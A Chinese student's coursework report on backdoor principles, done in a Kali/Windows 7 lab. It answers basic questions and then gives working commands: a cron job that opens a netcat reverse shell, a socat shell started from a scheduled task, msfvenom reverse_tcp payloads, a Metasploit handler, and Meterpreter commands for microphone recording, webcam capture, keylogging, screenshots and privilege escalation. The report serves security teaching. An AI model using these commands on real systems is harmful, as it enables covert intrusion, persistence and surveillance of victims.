20165205 Exp2 后门原理与实践
实验内容
一、基础问题回答
- 列举你能想到的一个后门进入到你系统中的可能方式
- 下载盗版软件、操作系统
- 当然正版软件里可能也有编写者安装的后门
- 不在官方更新软件
- 浏览危险网页
- 购买二手电脑
- 列举你知道的后门如何启动起来(win及Linux)的方法
- 后门伪装自己,后门伪装成正常软件,或者和正常软件绑定在一起,点击就运行了
- cron启动
- 被设置了开机自启动
- Meterpreter有哪些给你印象深刻的功能
- Meterpreter为我们准备好了许多零件,我们想要做一个攻击程序时,只需要输入参数,就可以拼接出一个我们想要的控制程序
- 攻击条件相对简单,而且可以做免杀软件,这对我们来说是很大的便利
- 面向平台广泛,不论是win、linux还是MAC,不管是32位还是64位还是86位,他都能做
- 如何发现自己的系统有没有被安装后门
- 最靠谱的应该是杀毒软件吧,全盘扫描可以发现后门程序,我昨天做的backdoor.exe可以正常使用,今天就又被扫描了出来,提醒我有木马程序,可见杀毒软件可以定时扫描,不管是刚下载就是木马,还是从正常程序变成了木马程序,都可以被查出来(不过我们还没做免杀实验,我说这个话还是没有底气的hhh)
- 假如你很有闲的话也可以去寻找伪装成正常软件的木马程序,他们往往都有个看起来很正常但是仔细看还是可以看出不太对的名字
二、实验步骤
0. 准备工作
- 查看Kali的IP:10.1.1.239
- 查看本机(win7)IP:10.1.1.169
1. 使用netcat获取主机操作Shell,cron启动
- Cron是一种定时任务,每隔一分钟执行一次
- 在Win7下,监听
5205
端口 - 在Kali下,用
crontab -e
打开编辑界面,初次打开时会出现数字选择,此时选择3 在最后一行添加
31 * * * * /bin/netcat 10.1.1.169 5205 -e /bin/sh
这里31指每小时的第31分钟去获取win7的,之后的*
分别指小时,日,月,年(我在写博客的时候突然想到,假如这里是5个*会怎么办???)- 到达时间之后在win7端输入Linux命令,发现已经可以控制Kali端
2.使用socat获取主机操作Shell, 任务计划启动
- socat可以创建两个双向的字节流,相当于建立一个传输通道,
- 打开win7开始,搜索
计算机管理
- 在
任务计划程序
中创建任务 - 填写任务名
新建一个触发器
- 新建一个操作:设置-程序或脚本-选择socat.exe,添加参数
tcp-listen:5205 exec:cmd.exe,pty,stderr
此命令将cmd.exe
绑定到端口5205
,同时把cmd.exe
的stderr
重定向到stdout
- 创建完成之后,按
win+R
锁定计算机后再打开计算机,此时我们刚刚创建的任务开始运行,代表这个双向的流建立好了,并且会出现一个taskeng.exe
之后在Kali中输入
socat-tcp:win7主机ip:端口
即输入socat-tcp: 10.1.1.239:5205
此时可以得到cmd shell(写博客的时候发现忘记截图了o(╥﹏╥)o
3.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
在Kali上执行指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.1.1.239 LPORT=5205 -f exe > 20165205_backdoor.exe
在这条命令中windoes/meterpreter/reverse_tcp
的作用是回连攻击端并获取cmd,所以这里是ip地址是Kali端地址,-f exe
指定了格式,输出到EXE文件中,这样win7才能运行在win7的cmd中输入
ncat.exe -l 5205 > 20165205_backdoor.exe
,这时win7准备好从对方5205号端口处接收叫做20165205_backdoor.exe
文件。在Kali端输入
nc 10.1.1.169 5205 < 20165205_backdoor.exe
将后门程序传送到win7中- 在Kali的终端输入msfconsole进入控制台,此时可能要加载一段时间,需要耐心等待
- 进入控制台后,输入
use exploit/multi/handler
进入监听模块 - 为了与我们的后门程序的设置相匹配,还要输入一系列参数
-
set payload windows/meterpreter/reverse_tcp
这里是刚刚创建后门程序时的payload -
set LHOST 10.1.1.239
回连IP -
set LPORT 5205
回连端口
-
exploit
启动监听:刚开始会处于等待状态在win7中运行后门程序,此时提示杀毒软件检测到后门程序,将后门程序添加到信任列表中。
此时Kali上取得了win7主机的控制权
4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 音频:
record_mic
摄像头:
webcam_snap
- 击键记录:
-
keyscan_start
开始记录 -
keyscan_dump
回显记录
-
截屏:
screenshot
-
提权:
getsystem
5.使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
- 刚开始我看到这个这个题目,我想先生成shellcode,然后按照实验一的方法,注入到pwn1中,然后放到win7中,获取到shell
第一步,获取shellcode
- 然后把shellcode先复制到文本文件里,然后就向实验一一样,借助gdb调试,但是发现并不跟想象一样简单
- 第一个问题是实验一中注入之后,这个进程不会立刻结束,可以等我打开gdb调试,但是这个就直接注入就结束了,所有我就没有办法找到1234处我要填什么(这里我做到后来发现是因为没有规避掉\x0a)
- 第二个问题是就算我注入成功,pwn1的格式是ELF、win7也是不能运行的
- 这样的话,我就打算用Ubuntu x86作为靶机来做这个实验了。之后就可以来找msfvenom的参数了,通过
msfvenom -l payload
找到想要的参数 -
- 可以看到
linux/x86/shell/reverse_tcp
和linux/x86/shell_reverse_tcp
看到这两个的描述都是反弹回连并且获取shell - 由于按照实验一的方法注入不了,所有我打算直接覆盖掉pwn1(不知道这样是不是不太符合老师的要求了hhhhhh)(不过后面我还是回归正途了QAQ)
- 这里的命令就写
msfvenom -p linux/x86/shell/reverse_tcp LHOST=10.1.1.239 LPORT=5205 -f elf -x ./pwn1 > pwn_20165205_2
- 注意这里要写文件的格式:elf,以及文件的地址:./pwn1
- 然后把生成的文件人工拖到Ubuntu虚拟机里
- 依旧要set LHOST LPORT
- 但是我发现并没有成果,exploit之后就一直停留在等待状态
- 之后检查的时候发现原来是我的虚拟机的IP变了(哭辽)
- 可以看到
刚开始检查的时候没有找到错误,然后我就直接去百度了,我查到的那篇博客里用的payload和我用的不一样,但是因为别人成功了嘛,我就照着他的博客里写了,他使用的命令是
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.10.195 LPORT=5205 -x ./pwn1 -f elf > pwn_20165205_3
做到这里的时候,老师说这样做是不对的(虽然我一直都知道我是做跑偏了,但是还是捂住自己,不让自己哭出来)
那么现在让我们回归正途
- 打算就在Kail上做的话,参数就是
linux/x64/shell/reverse_tcp 攻击机IP 攻击机端口 -f c -a \x0a
- 生成shellcode 然后复制到文档里,删掉引号,备用
- 然后注入, gdb,修改地址(这是实验一的步骤,不多描述了)
- 然后就打开msf
msfconsole
- 设置payload,ip,端口,然后开始监听
exploit
- 监听等待,然后注入并运行这个程序,感觉马上就要成功了呢
然而并没有
- 开始反思:是不是payload错了,然后然后我又把payload改成
linux/x64/meterpretr_reverse_tcp
,当然这也还是连不上 我开始想会不会是因为靶机和攻击机是同一个,或者是msf生成的shellcode不能这样用。。。。。。然后我就想,要不就再开一个虚拟机试一下(开了Ubuntu,86位的,还没关随机地址,也没关地址保护,不过假如用Ubuntu做攻击机,他可以吗???,想到这里,头突然有点痛,对不起老师,我先睡了)
遇到的问题和解决方法
遇到的问题就是第五点,即使注入了还是连不上,解决方法是:。。。对不起,我忘记我还没用解决了,当然我的想法就是两个,一个是这段shellcode不能这样用,二是不应该在一台机子里做
实验感想
讲真的这个实验前几点很好做,再一次深深的感叹:站在巨人的肩膀上就是很方便,不用自己摸索,做第五点的时候,我先自己做了一下,当然刚开始就问题比较大,后来找到了jzy学姐的博客,她的解决方法是直接生成文件,与pwn1唯一的联系是把:修改pwn1,另存为pwn234,我也是前面的路走不下去了就想干脆就这样解决吧,后来发现这样解决是不加分的(也就是说不对),然后回归正途,发现还是做不出来啊(#`O′)。